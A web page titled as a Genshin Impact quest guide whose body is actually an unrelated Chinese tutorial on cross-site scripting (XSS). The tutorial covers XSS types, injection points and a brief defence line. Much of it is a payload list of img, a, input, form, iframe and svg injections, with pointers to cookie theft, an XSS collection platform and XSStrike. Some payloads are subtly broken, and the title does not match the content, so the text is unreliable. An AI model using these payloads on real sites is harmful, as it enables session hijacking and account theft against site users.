1. 程式人生 > 遊戲攻略 >《原神攻略》清理門戶世界任務怎麼做?清理門戶任務過關方法

《原神攻略》清理門戶世界任務怎麼做?清理門戶任務過關方法

一、漏洞介紹

xss:跨站指令碼攻擊(Cross Site Scripting)
攻擊者向web頁面中插入惡意js程式碼,當用戶瀏覽該頁時,觸發程式碼,從而達到惡意攻擊目的。

二、產生原因

未對使用者輸入進行過濾、轉義而直接輸出到頁面。導致使用者可以利用javascript、html等執行惡意程式碼。

三、產生條件

  1. 可能存在控制的輸入點
  2. 前端頁面未過濾js

四、漏洞危害

  1. 竊取管理員賬號或cookie,登入後臺。對資料庫進行非法的增刪改查等操作。
  2. 竊取使用者的個人資訊或登入賬號;登入賬號冒充使用者身份進行非法操作;對使用者賬號安全產生威脅。
  1. 網站掛馬。將惡意程式碼嵌入web應用中,待使用者瀏覽頁面時,將木馬植入使用者計算機。
  2. 傳送廣告或垃圾資訊,影響使用者使用體驗。

五、應用場景

  1. 資料互動的地方

get、post、cookies、headers

反饋與瀏覽

富文字編輯器

各類標籤插入和自定義

  1. 資料輸出的地方

使用者資料

關鍵詞、標籤、說明

檔案上傳

六、漏洞分類

1. 反射型

反射型XSS又稱非永續性XSS,這種攻擊往往具有一次性。

攻擊者通過電子郵件等方式將包含XSS程式碼的惡意連結傳送給目標使用者。當目標使用者訪問連結時,伺服器接收該目標使用者的請求並進行處理,然後伺服器帶有XSS程式碼的資料傳送給目標使用者的瀏覽器,瀏覽器解析這段帶有XSS程式碼的惡意指令碼後,就會觸發XSS漏洞。

2. DOM型

DOM型XSS全稱Document Object Model,使用DOM動態訪問更新文件的內容、結構及樣式。

使用者請求一個經過專門設計的URL,它由攻擊者提交,而且其中包含XSS程式碼。伺服器的響應不會以任何形式包含攻擊者的指令碼。當用戶的瀏覽器處理這個響應時,DOM物件就會處理XSS程式碼,導致存在XSS漏洞。

3. 儲存型

這種攻擊多見於論壇,部落格和留言板,攻擊者在發帖的過程中,將惡意指令碼連同正常資訊一起注入帖子的內容中。隨著帖子被伺服器儲存下來,惡意指令碼也永久地被存放在伺服器的後端儲存器中。當其他使用者瀏覽這個被注入了惡意指令碼的帖子時,惡意指令碼會在他們的瀏覽器中得到執行。

4. 區別

xss為什麼區分三種類型?
按照前端、後端、資料庫區分:
反射型:經過後端,不經過資料庫
儲存型:經過後端,經過資料庫

dom型:不經過後端,是基於文件物件模型的一種漏洞

七、漏洞利用

1. 標籤

img標籤

<img src=javascript:alert("xxs")>
<img src=javascript:alert(string.formcharcode(88,83,83))>
<img src="url" style='xss:expression(alert(/xss));'>
<img style="background-image:url(javascript:alert('xss'))">
<img src="x" onerror=alert(1)>

<img src="1" onerror=eval("alert('xss')")>
<img src=1 onmouseover=alert('xss')>

a標籤

<a href="javascript:alert('xss')">aa</a>

<a href=javascript:eval(alert('xss'))>aa</a>

<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>

<a href="" onclick=alert('xss')>aa</a>

<a href="" onclick=eval(alert('xss'))>aa</a>

<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>

input標籤

<input value="" onclick=alert('xss') type="text">

<input value="" onmouseover=prompt('xss')>

<input value=""><script>alert('xss')</script>

form標籤

<form action=javascript:alert('xss') method="get">

<form method=post action=aa.asp?onmouseover=prompt('xss')>

<form method=post action=aa.asp? onmouseover=alert('xss')>

<form action=1 onmouseover=alert('xss)>

base64編碼

<form method=post action="data:text/html;base64,<script>alert('xss')">

<form method=post action="data:text/html;base64,

PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

iframe標籤

<iframe src=javascript:alert('xss');height=5width=1000 ></iframe>

<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>

base64編碼

<iframe src="data:text/html;base64,<script>alert('xss')</script>">

<iframe src="data:text/html;base64,

PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

<iframe src="aaa" onmouseover=alert('xss') /><iframe>

<iframe src="javascript:prompt(`xss`)"></iframe>

svg標籤

<svg onload=alert(1)>

2. 繞過

大小寫、雙寫、編碼等……

3. 獲取資訊

  1. document.cookie

需要有回顯輸出位,alert等

  1. <script src=//></script>

插入攻擊指令碼

4. 工具

  1. 線上平臺

ngxpt.co

  1. xsstrike

八、防禦與修復

對使用者輸入進行過濾和轉義。